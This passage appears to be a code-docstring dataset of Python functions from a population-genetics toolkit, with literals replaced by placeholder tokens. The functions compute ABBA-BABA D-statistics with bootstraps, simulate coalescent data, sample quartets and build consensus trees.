<NUM_LIT:3>, :yseq.shape[<NUM_LIT:1>]] = yseq<EOL>nidx = nidx.tolist() + nidy.tolist()<EOL>sidx = seqs[nidx].view(np.uint8)<EOL>iseq = _reffreq2(ancestral, sidx, GETCONS2)<EOL>arr[loc, <NUM_LIT:4>, :iseq.shape[<NUM_LIT:1>]] = iseq<EOL><DEDENT><DEDENT><DEDENT>arr = arr[keep, :, :]<EOL>arr = masknulls(arr)<EOL>return arr, keep<EOL>", "docstring": "return a frequency array from a loci file for all loci with taxa from \ntaxdict and min coverage from mindict.", "id": "f5345:m2"}
{"signature": "@numba.jit(nopython=True)<EOL>def _get_boots(arr, nboots):", "body": "<EOL>boots = np.zeros((nboots,))<EOL>for bidx in xrange(nboots):<EOL><INDENT>lidx = np.random.randint(<NUM_LIT:0>, arr.shape[<NUM_LIT:0>], arr.shape[<NUM_LIT:0>])<EOL>tarr = arr[lidx]<EOL>_, _, dst = _prop_dstat(tarr)<EOL>boots[bidx] = dst<EOL><DEDENT>return boots<EOL>", "docstring": "return array of bootstrap D-stats", "id": "f5345:m8"}
{"signature": "@numba.jit(nopython=True)<EOL>def _get_signif_4(arr, nboots):", "body": "abba, baba, dst = _prop_dstat(arr)<EOL>boots = _get_boots(arr, nboots)<EOL>estimate, stddev = (boots.mean(), boots.std())<EOL>zscore = <NUM_LIT:0.><EOL>if stddev:<EOL><INDENT>zscore = np.abs(dst) / stddev<EOL><DEDENT>stats = [dst, estimate, stddev, zscore, abba, baba, arr.shape[<NUM_LIT:0>]]<EOL>return np.array(stats), boots<EOL>", "docstring": "returns a list of stats and an array of dstat boots. Stats includes\nz-score and two-sided P-value.", "id": "f5345:m9"}
{"signature": "@numba.jit(nopython=True)<EOL>def _get_signif_5(arr, nboots):", "body": "statsarr = np.zeros((<NUM_LIT:3>, <NUM_LIT:7>), dtype=np.float64)<EOL>bootsarr = np.zeros((<NUM_LIT:3>, nboots))<EOL>idx = <NUM_LIT:0><EOL>for acol in [<NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:4>]:<EOL><INDENT>rows = np.array([<NUM_LIT:0>, <NUM_LIT:1>, acol, <NUM_LIT:5>])<EOL>tarr = arr[:, rows, :]<EOL>abxa, baxa, dst = _prop_dstat(tarr)<EOL>boots = _get_boots(tarr, nboots)<EOL>estimate, stddev = (boots.mean(), boots.std())<EOL>if stddev:<EOL><INDENT>zscore = np.abs(dst) / stddev<EOL><DEDENT>else:<EOL><INDENT>zscore = np.NaN<EOL><DEDENT>stats = [dst, estimate, stddev, zscore, abxa, baxa, arr.shape[<NUM_LIT:0>]]<EOL>statsarr[idx] = stats<EOL>bootsarr[idx] = boots<EOL>idx += <NUM_LIT:1><EOL><DEDENT>return statsarr, bootsarr<EOL>", "docstring": "returns a list of stats and an array of dstat boots. Stats includes\nz-score and two-sided P-value.", "id": "f5345:m10"}
{"signature": "def _simulate(self, nreps, admix=None, Ns=<NUM_LIT>, gen=<NUM_LIT:20>):", "body": "<EOL>Taus = np.array(list(set(self.verts[:, <NUM_LIT:1>]))) * <NUM_LIT> * gen<EOL>ntips = len(self.tree)<EOL>names = {name: idx for idx, name in enumerate(self.tree.get_leaf_names()[::-<NUM_LIT:1>])}<EOL>pop_config = [<EOL>ms.PopulationConfiguration(sample_size=<NUM_LIT:2>, initial_size=Ns)<EOL>for i in range(ntips)<EOL>]<EOL>migmat = np.zeros((ntips, ntips)).tolist()<EOL>demog = []<EOL>coals = sorted(list(set(self.verts[:, <NUM_LIT:1>])))[<NUM_LIT:1>:]<EOL>for ct in xrange(len(coals)):<EOL><INDENT>nidxs = np.where(self.verts[:, <NUM_LIT:1>] == coals[ct])[<NUM_LIT:0>]<EOL>time = Taus[ct+<NUM_LIT:1>]<EOL>for nidx in nidxs:<EOL><INDENT>node = self.tree.search_nodes(name=str(nidx))[<NUM_LIT:0>]<EOL>dest = sorted(node.get_leaves(), key=lambda x: x.idx)[<NUM_LIT:0>]<EOL>otherchild = [i for i in node.children if not <EOL>i.get_leaves_by_name(dest.name)][<NUM_LIT:0>]<EOL>if otherchild.is_leaf():<EOL><INDENT>source = otherchild<EOL><DEDENT>else:<EOL><INDENT>source = sorted(otherchild.get_leaves(), key=lambda x: x.idx)[<NUM_LIT:0>]<EOL><DEDENT>event = ms.MassMigration(<EOL>time=int(time),<EOL>source=names[source.name], <EOL>destination=names[dest.name], <EOL>proportion=<NUM_LIT:1.0>)<EOL>demog.append(event)<EOL><DEDENT><DEDENT>replicates = ms.simulate(<EOL>population_configurations=pop_config,<EOL>migration_matrix=migmat,<EOL>demographic_events=demog,<EOL>num_replicates=nreps,<EOL>length=<NUM_LIT:100>, <EOL>mutation_rate=<NUM_LIT>)<EOL>return replicates<EOL>", "docstring": "Enter a baba.Tree object in which the 'tree' attribute (newick \nderived tree) has edge lengths in units of generations. You can \nuse the 'gen' parameter to multiply branch lengths by a constant. \n\nParameters:\n-----------\n\nnreps: (int)\n    Number of reps (loci) to simulate under the demographic scenario\ntree: (baba.Tree object)\n    A baba.Tree object initialized by calling baba.Tree(*args). \nadmix: (list)\n    A list of admixture events to occur on the tree. Nodes must be \n    reference by their index number, and events must occur in time\n    intervals when edges exist. Use the .draw() function of the \n    baba.Tree object to see node index numbers and coalescent times.\nNs: (float)\n    Fixed effective population size for all lineages (may allow to vary\n    in the future). \ngen: (int)\n    A multiplier applied to branch lengths to scale into units of \n    generations. Example, if all edges on a tree were 1 then you might\n    enter 50000 to multiply so that edges are 50K generations long.", "id": "f5345:m11"}
{"signature": "@property<EOL><INDENT>def taxon_table(self):<DEDENT>", "body": "if self.tests:<EOL><INDENT>keys = sorted(self.tests[<NUM_LIT:0>].keys())<EOL>if isinstance(self.tests, list):<EOL><INDENT>ld = [[(key, i[key]) for key in keys] for i in self.tests]<EOL>dd = [dict(i) for i in ld]<EOL>df = pd.DataFrame(dd)<EOL>return df<EOL><DEDENT>else:<EOL><INDENT>return pd.DataFrame(pd.Series(self.tests)).T<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns the .tests list of taxa as a pandas dataframe. \nBy auto-generating this table from tests it means that \nthe table itself cannot be modified unless it is returned \nand saved.", "id": "f5345:c0:m1"}
{"signature": "def run(self, <EOL>ipyclient=None,<EOL>):", "body": "self.results_table, self.results_boots = batch(self, ipyclient)<EOL>if not isinstance(self.results_table, list):<EOL><INDENT>self.results_table.nloci = np.nan_to_num(self.results_table.nloci).astype(int)<EOL><DEDENT>", "docstring": "Run a batch of dstat tests on a list of tests, where each test is \na dictionary mapping sample names to {p1 - p4} (and sometimes p5). \nParameters modifying the behavior of the run, such as the number\nof bootstrap replicates (nboots) or the minimum coverage for \nloci (mincov) can be set in {object}.params.\n\nParameters:\n-----------\nipyclient (ipyparallel.Client object):\n    An ipyparallel client object to distribute jobs to a cluster.", "id": "f5345:c0:m2"}
{"signature": "def copy(self):", "body": "return copy.deepcopy(self)<EOL>", "docstring": "returns a copy of the baba analysis object", "id": "f5345:c0:m5"}
{"signature": "def _collapse_outgroup(tree, taxdicts):", "body": "<EOL>outg = taxdicts[<NUM_LIT:0>][\"<STR_LIT>\"]<EOL>if not all([i[\"<STR_LIT>\"] == outg for i in taxdicts]):<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>tre = ete.Tree(tree.write(format=<NUM_LIT:1>)) <EOL>alltax = [i for i in tre.get_leaf_names() if i not in outg]<EOL>alltax += [outg[<NUM_LIT:0>]]<EOL>tre.prune(alltax)<EOL>tre.search_nodes(name=outg[<NUM_LIT:0>])[<NUM_LIT:0>].name = \"<STR_LIT>\"<EOL>tre.ladderize()<EOL>taxd = copy.deepcopy(taxdicts)<EOL>newtaxdicts = []<EOL>for test in taxd:<EOL><INDENT>test[\"<STR_LIT>\"] = [\"<STR_LIT>\"]<EOL>newtaxdicts.append(test)<EOL><DEDENT>return tre, newtaxdicts<EOL>", "docstring": "collapse outgroup in ete Tree for easier viewing", "id": "f5346:m1"}
{"signature": "def _decompose_tree(ttree, orient='<STR_LIT:right>', use_edge_lengths=True):", "body": "<EOL>ttree._orient = orient<EOL>ttree._use_edge_lengths = use_edge_lengths<EOL>ult = use_edge_lengths == False<EOL>names = {}<EOL>idx = <NUM_LIT:0><EOL>for node in ttree.tree.traverse(\"<STR_LIT>\"):<EOL><INDENT>if not node.is_leaf():<EOL><INDENT>if node.name:<EOL><INDENT>names[idx] = node.name<EOL><DEDENT>else:<EOL><INDENT>names[idx] = idx<EOL>node.name = str(idx)<EOL><DEDENT>node.idx = idx<EOL>idx += <NUM_LIT:1><EOL><DEDENT><DEDENT>for node in ttree.tree.get_leaves(): <EOL><INDENT>names[idx] = node.name<EOL>node.idx = idx<EOL>idx += <NUM_LIT:1><EOL><DEDENT>ttree.node_labels = names<EOL>ttree.tip_labels = ttree.tree.get_leaf_names()<EOL>ttree.edges = np.zeros((idx - <NUM_LIT:1>, <NUM_LIT:2>), dtype=int)<EOL>ttree.verts = np.zeros((idx, <NUM_LIT:2>), dtype=float)<EOL>ttree._lines = []        <EOL>ttree._coords = []       <EOL>nidx = <NUM_LIT:0><EOL>tip_num = len(ttree.tree.get_leaves()) - <NUM_LIT:1><EOL>for node in ttree.tree.traverse(\"<STR_LIT>\"):<EOL><INDENT>if node.is_leaf():<EOL><INDENT>node.y = ttree.tree.get_distance(node)<EOL>if ult:<EOL><INDENT>node.y = <NUM_LIT:0.> <EOL><DEDENT>node.x = tip_num<EOL>tip_num -= <NUM_LIT:1><EOL>ttree.verts[node.idx] = [node.x, node.y]<EOL>ttree.edges[nidx] = [node.up.idx, node.idx]<EOL><DEDENT>elif node.is_root():<EOL><INDENT>node.y = ttree.tree.get_distance(node)<EOL>if ult:<EOL><INDENT>node.y = -<NUM_LIT:1> * node.get_farthest_leaf(True)[<NUM_LIT:1>] - <NUM_LIT:1><EOL><DEDENT>node.x = sum(i.x for i in node.children) / float(len(node.children))<EOL>ttree.verts[node.idx] = [node.x, node.y]<EOL><DEDENT>else:<EOL><INDENT>node.y = ttree.tree.get_distance(node)<EOL>if ult:<EOL><INDENT>node.y = -<NUM_LIT:1> * node.get_farthest_leaf(True)[<NUM_LIT:1>] - <NUM_LIT:1><EOL><DEDENT>node.x = sum(i.x for i in node.children) / float(len(node.children))<EOL>ttree.edges[nidx, :] = [node.up.idx, node.idx]<EOL>ttree.verts[node.idx] = [node.x, node.y]<EOL><DEDENT>nidx += <NUM_LIT:1><EOL><DEDENT>cidx = <NUM_LIT:0><EOL>for node in ttree.tree.traverse():<EOL><INDENT>if not node.is_leaf():<EOL><INDENT>ttree._coords += [[node.x, node.y]]<EOL>pidx = cidx<EOL>cidx += <NUM_LIT:1><EOL>for child in node.children:<EOL><INDENT>ttree._coords += [[child.x, node.y], [child.x, child.y]]<EOL>ttree._lines += [[pidx, cidx]]    <EOL>ttree._lines += [[cidx, cidx+<NUM_LIT:1>]]  <EOL>cidx += <NUM_LIT:2><EOL><DEDENT><DEDENT><DEDENT>ttree._coords = np.array(ttree._coords, dtype=float)<EOL>ttree._lines = np.array(ttree._lines, dtype=int)<EOL>if ttree._orient in ['<STR_LIT>', <NUM_LIT:0>]:<EOL><INDENT>pass<EOL><DEDENT>if ttree._orient in ['<STR_LIT:left>', <NUM_LIT:1>]:<EOL><INDENT>ttree.verts[:, <NUM_LIT:1>] = ttree.verts[:, <NUM_LIT:1>] * -<NUM_LIT:1><EOL>ttree.verts = ttree.verts[:, [<NUM_LIT:1>, <NUM_LIT:0>]]<EOL>ttree._coords[:, <NUM_LIT:1>] = ttree._coords[:, <NUM_LIT:1>] * -<NUM_LIT:1><EOL>ttree._coords = ttree._coords[:, [<NUM_LIT:1>, <NUM_LIT:0>]]<EOL><DEDENT>if ttree._orient in ['<STR_LIT>', <NUM_LIT:0>]:<EOL><INDENT>ttree.verts[:, <NUM_LIT:1>] = ttree.verts[:, <NUM_LIT:1>] * -<NUM_LIT:1><EOL>ttree._coords[:, <NUM_LIT:1>] = ttree._coords[:, <NUM_LIT:1>] * -<NUM_LIT:1><EOL><DEDENT>if ttree._orient in ['<STR_LIT:right>', <NUM_LIT:3>]:<EOL><INDENT>ttree.verts = ttree.verts[:, [<NUM_LIT:1>, <NUM_LIT:0>]]<EOL>ttree._coords = ttree._coords[:, [<NUM_LIT:1>, <NUM_LIT:0>]]<EOL><DEDENT>", "docstring": "decomposes tree into component parts for plotting", "id": "f5346:m2"}
{"signature": "def draw(<EOL>self, <EOL>show_tip_labels=True, <EOL>show_node_support=False,<EOL>use_edge_lengths=False, <EOL>orient=\"<STR_LIT:right>\",<EOL>print_args=False,<EOL>*args,<EOL>**kwargs):", "body": "<EOL>self._decompose_tree(orient=orient, use_edge_lengths=use_edge_lengths)<EOL>dwargs = {}<EOL>dwargs[\"<STR_LIT>\"] = show_tip_labels<EOL>dwargs[\"<STR_LIT>\"] = show_node_support<EOL>dwargs.update(kwargs)<EOL>canvas, axes, panel = tree_panel_plot(self, print_args, **dwargs)<EOL>return canvas, axes, panel<EOL>", "docstring": "plot the tree using toyplot.graph. \n\nParameters:\n-----------\n    show_tip_labels: bool\n        Show tip names from tree.\n    use_edge_lengths: bool\n        Use edge lengths from newick tree.\n    show_node_support: bool\n        Show support values at nodes using a set of default \n        options. \n\n    ...", "id": "f5346:c0:m6"}
{"signature": "def get_targets(ipyclient):", "body": "<EOL>hosts = []<EOL>for eid in ipyclient.ids:<EOL><INDENT>engine = ipyclient[eid]<EOL>if not engine.outstanding:<EOL><INDENT>hosts.append(engine.apply(socket.gethostname))<EOL><DEDENT><DEDENT>hosts = [i.get() for i in hosts]<EOL>hostset = set(hosts)<EOL>hostzip = zip(hosts, ipyclient.ids)<EOL>hostdict = {host: [i[<NUM_LIT:1>] for i in hostzip if i[<NUM_LIT:0>] == host] for host in hostset}<EOL>targets = list(itertools.chain(*[hostdict[i][:<NUM_LIT:2>] for i in hostdict]))<EOL>return targets<EOL>", "docstring": "A function to find 2 engines per hostname on the ipyclient.\nWe'll assume that the CPUs are hyperthreaded, which is why\nwe grab two. If they are not then no foul. Two multi-threaded\njobs will be run on each of the 2 engines per host.", "id": "f5347:m0"}
{"signature": "def compute_tree_stats(self, ipyclient):", "body": "<EOL>names = self.samples<EOL>if self.params.nboots:<EOL><INDENT>fulltre = ete3.Tree(self.trees.tree, format=<NUM_LIT:0>)<EOL>fulltre.unroot()<EOL>with open(self.trees.boots, '<STR_LIT:r>') as inboots:<EOL><INDENT>bb = [ete3.Tree(i.strip(), format=<NUM_LIT:0>) for i in inboots.readlines()]<EOL>wboots = [fulltre] + bb[-self.params.nboots:]<EOL><DEDENT>wctre, wcounts = consensus_tree(wboots, names=names)<EOL>self.trees.cons = os.path.join(self.dirs, self.name + \"<STR_LIT>\")<EOL>with open(self.trees.cons, '<STR_LIT:w>') as ocons:<EOL><INDENT>ocons.write(wctre.write(format=<NUM_LIT:0>))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>wctre = ete3.Tree(self.trees.tree, format=<NUM_LIT:0>)<EOL>wctre.unroot()<EOL><DEDENT>self.trees.nhx = os.path.join(self.dirs, self.name + \"<STR_LIT>\")<EOL>with open(self.files.stats, '<STR_LIT:w>') as ostats:<EOL><INDENT>if self.params.nboots:<EOL><INDENT>ostats.write(\"<STR_LIT>\".format(len(wboots)))<EOL>for i, j in enumerate(self.samples):<EOL><INDENT>ostats.write(\"<STR_LIT>\".format(i, j))<EOL><DEDENT>ostats.write(\"<STR_LIT:\\n>\")<EOL>for split, freq in wcounts:<EOL><INDENT>if split.count('<STR_LIT:1>') > <NUM_LIT:1>:<EOL><INDENT>ostats.write(\"<STR_LIT>\".format(split, round(freq, <NUM_LIT:2>)))<EOL><DEDENT><DEDENT>ostats.write(\"<STR_LIT:\\n>\")<EOL><DEDENT><DEDENT>lbview = ipyclient.load_balanced_view()<EOL>qtots = {}<EOL>qsamp = {}<EOL>tots = sum(<NUM_LIT:1> for i in wctre.iter_leaves())<EOL>totn = set(wctre.get_leaf_names())<EOL>for node in wctre.traverse():<EOL><INDENT>qtots[node] = lbview.apply(_get_total, *(tots, node))<EOL>qsamp[node] = lbview.apply(_get_sampled, *(self, totn, node))<EOL><DEDENT>ipyclient.wait()<EOL>for node in wctre.traverse():<EOL><INDENT>total = qtots[node].result()<EOL>sampled = qsamp[node].result()<EOL>node.add_feature(\"<STR_LIT>\", total)<EOL>node.add_feature(\"<STR_LIT>\", sampled)<EOL><DEDENT>features = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL>with open(self.trees.nhx, '<STR_LIT:w>') as outtre:<EOL><INDENT>outtre.write(wctre.write(format=<NUM_LIT:0>, features=features))<EOL><DEDENT>", "docstring": "compute stats for stats file and NHX tree features", "id": "f5347:m1"}
{"signature": "def random_combination(iterable, nquartets):", "body": "pool = tuple(iterable)<EOL>size = len(pool)<EOL>indices = random.sample(xrange(size), nquartets)<EOL>return tuple(pool[i] for i in indices)<EOL>", "docstring": "Random selection from itertools.combinations(iterable, r). \nUse this if not sampling all possible quartets.", "id": "f5347:m2"}
{"signature": "def random_product(iter1, iter2):", "body": "pool1 = tuple(iter1)<EOL>pool2 = tuple(iter2)<EOL>ind1 = random.sample(pool1, <NUM_LIT:2>)<EOL>ind2 = random.sample(pool2, <NUM_LIT:2>)<EOL>return tuple(ind1+ind2)<EOL>", "docstring": "random sampler for equal_splits func", "id": "f5347:m3"}
{"signature": "def n_choose_k(n, k):", "body": "return int(reduce(MUL, (Fraction(n-i, i+<NUM_LIT:1>) for i in range(k)), <NUM_LIT:1>))<EOL>", "docstring": "get the number of quartets as n-choose-k. This is used\n    in equal splits to decide whether a split should be exhaustively sampled\n    or randomly sampled. Edges near tips can be exhaustive while highly nested\n    edges probably have too many quartets", "id": "f5347:m4"}
{"signature": "@numba.jit('<STR_LIT>', nopython=True)<EOL>def count_snps(mat):", "body": "<EOL>snps = np.zeros(<NUM_LIT:4>, dtype=np.uint32)<EOL>snps[<NUM_LIT:0>] = np.uint32(mat[<NUM_LIT:0>, <NUM_LIT:5>] + mat[<NUM_LIT:0>, <NUM_LIT:10>] + mat[<NUM_LIT:0>, <NUM_LIT:15>] +mat[<NUM_LIT:5>, <NUM_LIT:0>] + mat[<NUM_LIT:5>, <NUM_LIT:10>] + mat[<NUM_LIT:5>, <NUM_LIT:15>] +mat[<NUM_LIT:10>, <NUM_LIT:0>] + mat[<NUM_LIT:10>, <NUM_LIT:5>] + mat[<NUM_LIT:10>, <NUM_LIT:15>] +mat[<NUM_LIT:15>, <NUM_LIT:0>] + mat[<NUM_LIT:15>, <NUM_LIT:5>] + mat[<NUM_LIT:15>, <NUM_LIT:10>])<EOL>for i in range(<NUM_LIT:16>):<EOL><INDENT>if i % <NUM_LIT:5>:<EOL><INDENT>snps[<NUM_LIT:1>] += mat[i, i]<EOL><DEDENT><DEDENT>snps[<NUM_LIT:2>] = mat[<NUM_LIT:1>, <NUM_LIT:4>] + mat[<NUM_LIT:2>, <NUM_LIT:8>] + mat[<NUM_LIT:3>, <NUM_LIT:12>] +mat[<NUM_LIT:4>, <NUM_LIT:1>] + mat[<NUM_LIT:6>, <NUM_LIT:9>] + mat[<NUM_LIT:7>, <NUM_LIT>] +mat[<NUM_LIT:8>, <NUM_LIT:2>] + mat[<NUM_LIT:9>, <NUM_LIT:6>] + mat[<NUM_LIT:11>, <NUM_LIT>] +mat[<NUM_LIT:12>, <NUM_LIT:3>] + mat[<NUM_LIT>, <NUM_LIT:7>] + mat[<NUM_LIT>, <NUM_LIT:11>]<EOL>snps[<NUM_LIT:3>] = (mat.sum() - np.diag(mat).sum()) - snps[<NUM_LIT:2>]<EOL>return snps<EOL>", "docstring": "get dstats from the count array and return as a float tuple", "id": "f5347:m5"}
{"signature": "@numba.jit('<STR_LIT>', nopython=True)<EOL>def subsample_snps_map(seqchunk, nmask, maparr):", "body": "<EOL>rmask = np.zeros(seqchunk.shape[<NUM_LIT:1>], dtype=np.bool_)<EOL>last_loc = -<NUM_LIT:1><EOL>for idx in xrange(maparr.shape[<NUM_LIT:0>]):<EOL><INDENT>if maparr[idx] != last_loc:<EOL><INDENT>if not nmask[idx]:<EOL><INDENT>rmask[idx] = True<EOL><DEDENT>last_loc = maparr[idx]<EOL><DEDENT><DEDENT>return rmask<EOL>", "docstring": "removes ncolumns from snparray prior to matrix calculation, and \nsubsamples 'linked' snps (those from the same RAD locus) such that\nfor these four samples only 1 SNP per locus is kept. This information\ncomes from the 'map' array (map file).", "id": "f5347:m6"}
{"signature": "@numba.jit('<STR_LIT>', nopython=True)<EOL>def chunk_to_matrices(narr, mapcol, nmask):", "body": "<EOL>mats = np.zeros((<NUM_LIT:3>, <NUM_LIT:16>, <NUM_LIT:16>), dtype=np.uint32)<EOL>last_loc = -<NUM_LIT:1><EOL>for idx in xrange(mapcol.shape[<NUM_LIT:0>]):<EOL><INDENT>if not nmask[idx]:<EOL><INDENT>if not mapcol[idx] == last_loc:<EOL><INDENT>i = narr[:, idx]<EOL>mats[<NUM_LIT:0>, (<NUM_LIT:4>*i[<NUM_LIT:0>])+i[<NUM_LIT:1>], (<NUM_LIT:4>*i[<NUM_LIT:2>])+i[<NUM_LIT:3>]] += <NUM_LIT:1>      <EOL>last_loc = mapcol[idx]<EOL><DEDENT><DEDENT><DEDENT>x = np.uint8(<NUM_LIT:0>)<EOL>for y in np.array([<NUM_LIT:0>, <NUM_LIT:4>, <NUM_LIT:8>, <NUM_LIT:12>], dtype=np.uint8):<EOL><INDENT>for z in np.array([<NUM_LIT:0>, <NUM_LIT:4>, <NUM_LIT:8>, <NUM_LIT:12>], dtype=np.uint8):<EOL><INDENT>mats[<NUM_LIT:1>, y:y+np.uint8(<NUM_LIT:4>), z:z+np.uint8(<NUM_LIT:4>)] = mats[<NUM_LIT:0>, x].reshape(<NUM_LIT:4>, <NUM_LIT:4>)<EOL>mats[<NUM_LIT:2>, y:y+np.uint8(<NUM_LIT:4>), z:z+np.uint8(<NUM_LIT:4>)] = mats[<NUM_LIT:0>, x].reshape(<NUM_LIT:4>, <NUM_LIT:4>).T<EOL>x += np.uint8(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>return mats<EOL>", "docstring": "numba compiled code to get matrix fast.\narr is a 4 x N seq matrix converted to np.int8\nI convert the numbers for ATGC into their respective index for the MAT\nmatrix, and leave all others as high numbers, i.e., -==45, N==78.", "id": "f5347:m7"}
{"signature": "def opr(path):", "body": "return os.path.realpath(path)<EOL>", "docstring": "shorthand for realpath", "id": "f5347:m10"}
{"signature": "@numba.jit(nopython=True)<EOL>def shuffle_cols(seqarr, newarr, cols):", "body": "for idx in xrange(cols.shape[<NUM_LIT:0>]):<EOL><INDENT>newarr[:, idx] = seqarr[:, cols[idx]]<EOL><DEDENT>return newarr<EOL>", "docstring": "used in bootstrap resampling without a map file", "id": "f5347:m11"}
{"signature": "def resolve_ambigs(tmpseq):", "body": "<EOL>for ambig in np.uint8([<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>]):<EOL><INDENT>idx, idy = np.where(tmpseq == ambig)<EOL>res1, res2 = AMBIGS[ambig.view(\"<STR_LIT>\")]<EOL>halfmask = np.random.choice([True, False], idx.shape[<NUM_LIT:0>])<EOL>for i in xrange(halfmask.shape[<NUM_LIT:0>]):<EOL><INDENT>if halfmask[i]:<EOL><INDENT>tmpseq[idx[i], idy[i]] = np.array(res1).view(np.uint8)<EOL><DEDENT>else:<EOL><INDENT>tmpseq[idx[i], idy[i]] = np.array(res2).view(np.uint8)<EOL><DEDENT><DEDENT><DEDENT>return tmpseq<EOL>", "docstring": "returns a seq array with 'RSKYWM' randomly replaced with resolved bases", "id": "f5347:m12"}
{"signature": "@numba.jit(nopython=True)<EOL>def get_spans(maparr, spans):", "body": "<EOL>bidx = <NUM_LIT:1><EOL>spans = np.zeros((maparr[-<NUM_LIT:1>, <NUM_LIT:0>], <NUM_LIT:2>), np.uint64)<EOL>for idx in xrange(<NUM_LIT:1>, maparr.shape[<NUM_LIT:0>]):<EOL><INDENT>cur = maparr[idx, <NUM_LIT:0>]<EOL>if cur != bidx:<EOL><INDENT>idy = idx + <NUM_LIT:1><EOL>spans[cur-<NUM_LIT:2>, <NUM_LIT:1>] = idx<EOL>spans[cur-<NUM_LIT:1>, <NUM_LIT:0>] = idx<EOL>bidx = cur<EOL><DEDENT><DEDENT>spans[-<NUM_LIT:1>, <NUM_LIT:1>] = maparr[-<NUM_LIT:1>, -<NUM_LIT:1>]<EOL>return spans<EOL>", "docstring": "get span distance for each locus in original seqarray", "id": "f5347:m13"}
{"signature": "@numba.jit(nopython=True)<EOL>def get_shape(spans, loci):", "body": "width = <NUM_LIT:0><EOL>for idx in xrange(loci.shape[<NUM_LIT:0>]):<EOL><INDENT>width += spans[loci[idx], <NUM_LIT:1>] - spans[loci[idx], <NUM_LIT:0>]<EOL><DEDENT>return width<EOL>", "docstring": "get shape of new bootstrap resampled locus array", "id": "f5347:m14"}
{"signature": "@numba.jit(nopython=True)<EOL>def fill_boot(seqarr, newboot, newmap, spans, loci):", "body": "<EOL>cidx = <NUM_LIT:0><EOL>for i in xrange(loci.shape[<NUM_LIT:0>]):<EOL><INDENT>x1 = spans[loci[i]][<NUM_LIT:0>]<EOL>x2 = spans[loci[i]][<NUM_LIT:1>]<EOL>cols = seqarr[:, x1:x2]<EOL>cord = np.random.choice(cols.shape[<NUM_LIT:1>], cols.shape[<NUM_LIT:1>], replace=False)<EOL>rcols = cols[:, cord]<EOL>newboot[:, cidx:cidx+cols.shape[<NUM_LIT:1>]] = rcols<EOL>newmap[cidx: cidx+cols.shape[<NUM_LIT:1>], <NUM_LIT:0>] = i+<NUM_LIT:1><EOL>cidx += cols.shape[<NUM_LIT:1>]<EOL><DEDENT>return newboot, newmap<EOL>", "docstring": "fills the new bootstrap resampled array", "id": "f5347:m15"}
{"signature": "def _byteify(data, ignore_dicts=False):", "body": "if isinstance(data, unicode):<EOL><INDENT>return data.encode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>if isinstance(data, list):<EOL><INDENT>return [_byteify(item, ignore_dicts=True) for item in data]<EOL><DEDENT>if isinstance(data, dict) and not ignore_dicts:<EOL><INDENT>return {<EOL>_byteify(key, ignore_dicts=True): _byteify(value, ignore_dicts=True)<EOL>for key, value in data.iteritems()<EOL>}<EOL><DEDENT>return data<EOL>", "docstring": "converts unicode to utf-8 when reading in json files", "id": "f5347:m16"}
{"signature": "def consensus_tree(trees, names=None, cutoff=<NUM_LIT:0.0>):", "body": "<EOL>namedict, clade_counts = _find_clades(trees, names=names)<EOL>fclade_counts = _filter_clades(clade_counts, cutoff)<EOL>consens_tree, _ = _build_trees(fclade_counts, namedict)<EOL>return consens_tree, clade_counts<EOL>", "docstring": "An extended majority rule consensus function for ete3. \nModelled on the similar function from scikit-bio tree module. If \ncutoff=0.5 then it is a normal majority rule consensus, while if \ncutoff=0.0 then subsequent non-conflicting clades are added to the tree.", "id": "f5347:m17"}
{"signature": "def _filter_clades(clade_counts, cutoff):", "body": "<EOL>passed = []<EOL>clades = np.array([list(i[<NUM_LIT:0>]) for i in clade_counts], dtype=np.int8)<EOL>counts = np.array([i[<NUM_LIT:1>] for i in clade_counts], dtype=np.float64)<EOL>for idx in xrange(clades.shape[<NUM_LIT:0>]):<EOL><INDENT>conflict = False<EOL>if counts[idx] < cutoff:<EOL><INDENT>continue<EOL><DEDENT>if np.sum(clades[idx]) > <NUM_LIT:1>:<EOL><INDENT>for aidx in passed:<EOL><INDENT>summed = clades[idx] + clades[aidx]<EOL>intersect = np.max(summed) > <NUM_LIT:1><EOL>subset_test0 = np.all(clades[idx] - clades[aidx] >= <NUM_LIT:0>)<EOL>subset_test1 = np.all(clades[aidx] - clades[idx] >= <NUM_LIT:0>)<EOL>invert_test = np.bool_(clades[aidx]) != np.bool_(clades[idx])<EOL>if np.all(invert_test):<EOL><INDENT>counts[aidx] += counts[idx]<EOL>conflict = True<EOL><DEDENT>if intersect:<EOL><INDENT>if (not subset_test0) and (not subset_test1):<EOL><INDENT>conflict = True<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if conflict == False:<EOL><INDENT>passed.append(idx)<EOL><DEDENT><DEDENT>rclades = []<EOL>for idx in passed:<EOL><INDENT>rclades.append((clades[idx], counts[idx]))<EOL><DEDENT>return rclades<EOL>", "docstring": "A subfunc of consensus_tree(). Removes clades that occur \nwith freq < cutoff.", "id": "f5347:m18"}
{"signature": "def _find_clades(trees, names):", "body": "<EOL>if not names:<EOL><INDENT>names = trees[<NUM_LIT:0>].get_leaf_names()<EOL><DEDENT>ndict = {j:i for i, j in enumerate(names)}<EOL>namedict = {i:j for i, j in enumerate(names)}<EOL>clade_counts = defaultdict(int)<EOL>for tree in trees:<EOL><INDENT>tree.unroot()<EOL>for node in tree.traverse('<STR_LIT>'):<EOL><INDENT>bits = np.zeros(len(tree), dtype=np.bool_)<EOL>for child in node.iter_leaf_names():<EOL><INDENT>bits[ndict[child]] = True<EOL><DEDENT>bitstring = \"<STR_LIT>\".join([np.binary_repr(i) for i in bits])<EOL>clade_counts[bitstring] += <NUM_LIT:1><EOL><DEDENT><DEDENT>for key, val in clade_counts.items():<EOL><INDENT>clade_counts[key] = val / float(len(trees))<EOL><DEDENT>clade_counts = sorted(clade_counts.items(), <EOL>key=lambda x: x[<NUM_LIT:1>],<EOL>reverse=True)<EOL>return namedict, clade_counts<EOL>", "docstring": "A subfunc of consensus_tree(). Traverses trees to count clade occurrences.\nNames are ordered by names, else they are in the order of the first\ntree.", "id": "f5347:m19"}
